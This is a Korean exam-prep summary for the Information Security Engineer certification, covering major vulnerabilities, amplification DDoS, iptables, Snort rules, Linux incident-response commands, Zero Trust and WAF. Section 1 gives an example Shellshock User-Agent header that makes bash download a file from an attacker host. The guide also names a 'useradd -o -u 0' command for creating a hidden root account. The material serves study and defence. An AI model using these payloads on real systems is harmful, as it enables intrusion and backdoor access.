🔍 정보보안기사 | 침해사고분석대응 핵심 정리 (4-3편)
HeartBleed · POODLE · Shellshock · Log4j · NTP/SSDP 증폭 DDoS · CVE 표기 · iptables DROP vs REJECT · Snort flags/nocase/distance/within · find 명령어 · Reverse Shell · Zero Trust · WAF 구현 방식까지
침해사고분석대응 정리.
📋 목차
- 1. 주요 취약점 4종 — HeartBleed · POODLE · Shellshock · Log4j
- 2. NTP 증폭 DDoS · SSDP 증폭 공격 · CVE 표기 방식
- 3. iptables 심화 — DROP vs REJECT · -A/-I/-D · iptables-save
- 4. Snort 룰 심화 — 양방향 · flags · nocase · distance/within · 부정 매칭
- 5. 리눅스 보안 명령어 — find · tcpdump · last · Reverse Shell · PAM · TCP Wrapper · shadow 권한
- 6. DLL Injection · Ingress 필터링 · cron 악용 계정 생성 위험
- 7. Zero Trust · Cisco 패스워드 확인 · NAC 구성 방식 · IDS 탐지 행위 · WAF 구현 방식
- 8. 침해사고분석대응 4-1 ~ 4-3 전체 통합 최종 요약
1. 주요 취약점 4종 — HeartBleed · POODLE · Shellshock · Log4j
🔧 현직자 실무 포인트
HeartBleed·POODLE·Shellshock·Log4j는 정보보안기사 시험에서 반복 출제되는 빅4 취약점입니다. 각 취약점의 영향 소프트웨어, 공격 원리, CVE 번호, 대응 방안을 세트로 암기하세요. 실무에서는 취약점 스캐너(Nessus·OpenVAS)로 정기 점검합니다.
| 취약점 | 영향 소프트웨어 / 원리 | 핵심 키워드 | 대응 |
|---|---|---|---|
| HeartBleed (CVE-2014-0160) |
OpenSSL HeartBeat 확장 모듈 버그 → 서버 메모리 최대 64KB 유출 | 메모리 정보 유출 개인정보·암호키 탈취 |
OpenSSL 최신 버전 업데이트 + SSL 인증서 재발급 |
| POODLE | SSL 연결을 SSLv3.0으로 강제 다운그레이드 → 중간자 공격 + CBC 패딩 취약점 이용 | 다운그레이드 공격 CBC 패딩 취약점 |
SSL 3.0 사용 금지 TLS 1.2 이상 강제 |
| Shellshock | GNU Bash 취약점. HTTP 헤더(User-Agent 등)에 악성 명령 삽입 → 원격 명령 실행 | 원격 코드 실행(RCE) 웹셸 생성 악용 |
Bash 최신 버전 패치 입력값 검증 |
| Log4j (Log4Shell) |
Apache Java 로깅 라이브러리. JNDI Lookup 메서드 입력값 검증 미흡 → 원격 코드 실행 | JNDI Lookup Java 기반 서비스 광범위 영향 |
Log4j 2.15.0 이상 업데이트 JNDI 비활성화 |
📋 Shellshock 공격 패턴
HTTP 헤더에 다음 형식으로 악성 명령 삽입: () { :; }; [악성 명령]
예: User-Agent: () { :; }; /bin/bash -c “wget http://공격자/악성파일”
🎯 시험 출제 포인트
- HeartBleed = OpenSSL HeartBeat 모듈 / 메모리 최대 64KB 유출 / CVE-2014-0160
- HeartBleed 대응: OpenSSL 업데이트 + SSL 인증서 재발급
- POODLE = SSLv3.0 강제 다운그레이드 + CBC 패딩 취약점 / 대응: SSL 3.0 사용 금지
- Shellshock = GNU Bash 취약점 / HTTP 헤더에 () { :; }; 형식 악성 명령 삽입
- Log4j = Java 로깅 라이브러리 JNDI Lookup 원격 코드 실행 / 파급력 매우 큼
2. NTP 증폭 DDoS · SSDP 증폭 공격 · CVE 표기 방식
📋 NTP 증폭 공격 iptables 대응 설정
iptables -A OUTPUT -p udp –sport 123 -m length –length 100: -j DROP
→ UDP 123번 포트(NTP) 출발지로 나가는 패킷 중 100바이트 이상 차단 (monlist 응답은 크기가 크므로 이를 차단)
🎯 시험 출제 포인트
- NTP 증폭 = monlist 기능 악용 / UDP 123번 포트 / DRDoS 유형
- NTP iptables 차단: –sport 123, –length 100: → DROP
- SSDP 증폭 = IoT 기기 악용 / UDP 1900번 포트
- CVE 형식: CVE-연도–취약점번호 / 관리기관: MITRE사
3. iptables 심화 — DROP vs REJECT · -A/-I/-D · iptables-save
| 옵션/액션 | 동작 | 비고 |
|---|---|---|
| DROP | 패킷을 폐기하고 아무 응답도 보내지 않음 | 보안 관점에서 권장. 공격자에게 시스템 존재 알리지 않음 |
| REJECT | 패킷을 거부하고 ICMP 오류 메시지 응답 | 불필요한 응답 트래픽 증가. 공격자에게 시스템 존재 노출. 보안상 비권장 |
| -A (Append) | 체인 마지막에 규칙 추가 | 기존 규칙 뒤에 추가 |
| -I (Insert) | 지정한 위치에 규칙 삽입 | 위치 미지정 시 맨 앞에 삽입 |
| -D (Delete) | 규칙 삭제 | 규칙 번호 또는 내용으로 삭제 |
| iptables-save | 현재 커널에 적용된 전체 iptables 정책을 표준 출력으로 저장 | 재부팅 후에도 규칙 유지하려면 파일로 리다이렉션 |
📋 iptables 규칙 적용 핵심 원칙
iptables는 규칙을 위에서 아래로 순차 검사하므로 규칙 순서가 매우 중요합니다.
예: -I로 차단 규칙을 맨 앞에 삽입하면 이후 허용 규칙보다 먼저 적용됩니다.
🎯 시험 출제 포인트
- DROP = 무응답 차단 (보안 권장) / REJECT = ICMP 오류 응답 후 차단
- DROP이 권장되는 이유: ICMP 응답으로 시스템 존재 노출 방지
- -A=마지막에 추가 / -I=지정 위치 삽입 / -D=삭제
- iptables 규칙 저장: iptables-save
- 규칙 순서 중요: 위에서 아래로 순차 검사
4. Snort 룰 심화 — 양방향 · flags · nocase · distance/within · 부정 매칭
| Snort 옵션 | 설명 |
|---|---|
| <> (양방향) | 양방향 매칭. 출발지 또는 목적지 포트가 지정 포트인 패킷 모두 탐지. cf. → 는 단방향(출발지→목적지만 탐지) |
| flags:SF | TCP SYN과 FIN이 동시에 설정된 비정상 패킷 탐지. 정상 TCP에서는 SYN+FIN 동시 설정 없음 → 포트스캔 등 비정상 행위 탐지 |
| content:!”패턴” | 해당 패턴이 페이로드에 존재하지 않는 경우 탐지. 부정 매칭. 예: content:!”anonymous” → anonymous 없는 패킷 탐지 |
| nocase | 대소문자 구분 없이 패턴 탐지. content 옵션과 함께 사용 |
| distance | 이전 content 매칭 위치로부터 탐지를 시작할 바이트 간격 지정 (상대 위치) |
| within | 이전 content 매칭 위치로부터 탐지할 바이트 범위 지정 (상대 위치) |
📋 절대 위치 vs 상대 위치 옵션 비교
절대 위치 (페이로드 처음 기준): offset(시작 위치) / depth(범위)
상대 위치 (이전 매칭 기준): distance(시작 간격) / within(범위)
🎯 시험 출제 포인트
- <> = 양방향 매칭 / → = 단방향
- flags:SF = SYN+FIN 동시 설정 비정상 패킷 탐지
- content:! = 부정 매칭 (해당 패턴이 없을 때 탐지)
- nocase = 대소문자 무시 매칭
- 절대위치: offset(시작)·depth(범위) / 상대위치: distance(간격)·within(범위)
5. 리눅스 보안 명령어 — find · tcpdump · last · Reverse Shell · PAM · TCP Wrapper · shadow 권한
🔧 현직자 실무 포인트
침해사고 발생 시 가장 먼저 실행하는 명령어 세트입니다. last로 로그인 이력, find로 최근 변경 파일, lsof로 열린 소켓을 확인하는 것이 초동 조치의 핵심입니다. Reverse Shell은 인바운드 차단만으로는 막을 수 없으므로 Egress 필터링이 함께 필요합니다.
| 명령어 | 설명 및 활용 |
|---|---|
| find / -mtime -7 | 최근 7일 이내 변경된 파일 검색. -mtime 7 = 정확히 7일 전 / -mtime -7 = 7일 이내 |
| find / -user root -perm -4000 | root 소유이고 SUID가 설정된 파일 검색. SUID = 파일 소유자 권한으로 실행 → 보안 위험 |
| tcpdump -i eth0 “host IP1 and host IP2” | 특정 두 호스트 사이의 패킷 캡처. -i = 인터페이스 지정 |
| last | 로그인 이력 확인 (Telnet·SSH 포함). 기반 파일: /var/log/wtmp |
| chown root /etc/shadow chmod 400 /etc/shadow |
shadow 파일 소유자 root 변경 + 소유자 읽기만 허용. 암호화된 패스워드 보호 |
Reverse Shell · PAM 계정 잠금 · TCP Wrapper
🎯 시험 출제 포인트
- find / -mtime -7 = 7일 이내 변경 파일 / -mtime 7 = 정확히 7일 전
- find / -user root -perm -4000 = root 소유 SUID 파일
- last = 로그인 이력 / 기반 파일: /var/log/wtmp
- shadow 파일 권한: chown root + chmod 400
- Reverse Shell = 피해자가 공격자에게 접속 → 인바운드 차단 우회
- PAM 계정 잠금: /etc/pam.d/ + pam_tally.so / deny·unlock_time 설정
- TCP Wrapper: hosts.allow 우선 → hosts.deny 적용
6. DLL Injection · Ingress 필터링 · cron 악용 계정 생성
🎯 시험 출제 포인트
- DLL Injection = 실행 중 프로세스에 DLL 강제 삽입 → 악성 행위 수행
- Ingress 필터링 = 외부→내부 유입 패킷 출발지 IP 검증 → IP Spoofing 대응
- useradd -o -u 0 = UID 0(root) 권한 계정 생성 → cron 악용 공격 패턴
7. Zero Trust · Cisco 패스워드 · NAC 구성 · IDS 탐지 행위 · WAF 방식
Zero Trust 3가지 논리 구성 요소
| 구성 요소 | 약어 | 역할 |
|---|---|---|
| 정책 정보 지점 | PIP | 신뢰도 판단을 위한 데이터 제공 (사용자·기기·환경 정보) |
| 정책 결정 지점 | PDP | 정책 엔진 + 정책 관리자로 구성. 접근 허용 여부 결정 |
| 정책 시행 지점 | PEP | PDP 결정에 따라 실제 접근 허용·차단 시행 |
미러링(Mirroring) 방식: 경로 밖 설치 / 기존 구성 변경 최소 / 직접 차단 능력 제한
필터링 모듈 방식: 웹서버의 플러그인 모듈로 동작하여 웹서버 내부에서 필터링 (예: ModSecurity)
🎯 시험 출제 포인트
- Zero Trust 3요소: PIP(정보제공) → PDP(접근결정) → PEP(시행)
- Cisco 패스워드 확인: show running-config / enable secret · username secret · password-encryption
- NAC: 인라인(강력 차단·장애 영향) vs 미러링(비침투·차단 제한)
- IDS 탐지 행위 4종: 알람·통보·TCP Reset·차단 연동
- IDS = 미러링 모드(탐지 목적) / IPS = 인라인 모드(차단 목적)
- WAF 2종: 프록시 방식(앞단 필터링) / 필터링 모듈 방식(웹서버 내부)
- 방화벽 4종: 패킷 필터링 · Stateful Inspection · 애플리케이션 게이트웨이 · 서킷 레벨 게이트웨이
8. 📌 침해사고분석대응 4-1 ~ 4-3 전체 통합 최종 요약
🎯 절대 암기 포인트 — 4편 全 범위
- Snort = 1998년 Martin Roesch / content=빠름 / pcre=유연·느림
- Snort 모드: 스니퍼=콘솔 / 패킷로거=파일 / 침입탐지=공격탐지
- Snort 룰: 룰 헤더(액션·프로토콜·IP·포트·방향) + 룰 옵션(괄호 안)
- 페이로드 절대위치: offset(시작)·depth(범위) / 상대위치: distance·within
- Threshold 3종: limit·threshold·both
- <> = 양방향 / flags:SF = SYN+FIN 비정상 패킷
- content:! = 부정 매칭 / nocase = 대소문자 무시
- Suricata = OISF 개발 / 멀티코어·멀티스레드 / Snort 룰 호환
- iptables = 리눅스 netfilter 관리 / UDP 161=SNMP
- DROP = 무응답 차단(보안 권장) / REJECT = ICMP 오류 응답
- -A=마지막 추가 / -I=위치 삽입 / -D=삭제 / iptables-save=저장
- 오용 탐지 = 시그니처 기반 / 이상 탐지 = 행위 기반
- 오탐(FP) = 공격 아닌 것을 공격으로 / 미탐(FN) = 공격 못 잡음(더 심각)
- HIDS = Tripwire(파일무결성)·미러링 / NIDS = Snort·미러링 / IPS = 인라인
- IDS 탐지 행위 4종: 알람·통보·TCP Reset·차단 연동
- 패킷 필터링 5요소: 출발지·목적지 IP·포트·프로토콜
- Stateful Inspection = 체크포인트사 최초 상용화
- 애플리케이션 게이트웨이 = 7계층 프록시 / 회선 게이트웨이 = 4계층
- 방화벽 4종: 패킷 필터링·Stateful·애플리케이션게이트웨이·서킷 레벨 게이트웨이
- 배스천 호스트 = 게이트웨이 핵심 호스트
- 스크린드 서브넷 = 라우터 2개+DMZ / 가장 보안성 높음
- NAC: 인라인(강력·장애 영향) / 미러링(비침투·차단 제한)
- WAF 2종: 프록시 방식 / 필터링 모듈 방식(ModSecurity)
- EDR = 프로세스 행위 기반 / 알려지지 않은 악성코드 탐지
- ESM = 에이전트→매니저→콘솔 / SIEM = 빅데이터 상관관계 / SOAR = 자동화
- 발전 순서: ESM→SIEM→SOAR
- 사이버 위기 경보: 정상→관심→주의→경계→심각
- HeartBleed = OpenSSL HeartBeat 버그 / 메모리 64KB 유출 / CVE-2014-0160
- HeartBleed 대응: OpenSSL 업데이트 + SSL 인증서 재발급
- POODLE = SSLv3.0 강제 다운그레이드 + CBC 패딩 / 대응: SSL 3.0 금지
- Shellshock = GNU Bash / HTTP 헤더 () { :; }; 형식 악성 명령 삽입
- Log4j = JNDI Lookup 원격 코드 실행 / Java 로깅 라이브러리
- NTP 증폭 = monlist 악용 / UDP 123 / –length 100: DROP으로 차단
- SSDP 증폭 = IoT 기기 악용 / UDP 1900
- CVE = 연도-취약점번호 / MITRE사 관리
- find / -mtime -7 = 7일 이내 변경 파일
- find / -user root -perm -4000 = root 소유 SUID 파일
- last = 로그인 이력 / 기반: /var/log/wtmp
- shadow 권한: chown root + chmod 400
- Reverse Shell = 피해자→공격자 접속 / 인바운드 차단 우회
- PAM 계정 잠금: /etc/pam.d/ + pam_tally.so / deny·unlock_time
- TCP Wrapper: hosts.allow 우선 → hosts.deny
- DLL Injection = 실행 중 프로세스에 DLL 강제 삽입
- Ingress 필터링 = 외부→내부 패킷 출발지 IP 검증 → IP Spoofing 대응
- useradd -o -u 0 = root 권한 계정 생성 / cron 악용 공격
- Zero Trust 3요소: PIP(정보)→PDP(결정)→PEP(시행)
- Cisco 패스워드 확인: show running-config / enable secret·username secret·password-encryption
- Wireshark DNS 응답 필터: dns.flags.response==1
- 퍼징 = 무작위 데이터로 취약점 탐색
- Tripwire = 파일 무결성 / Nessus = 종합 취약점 점검

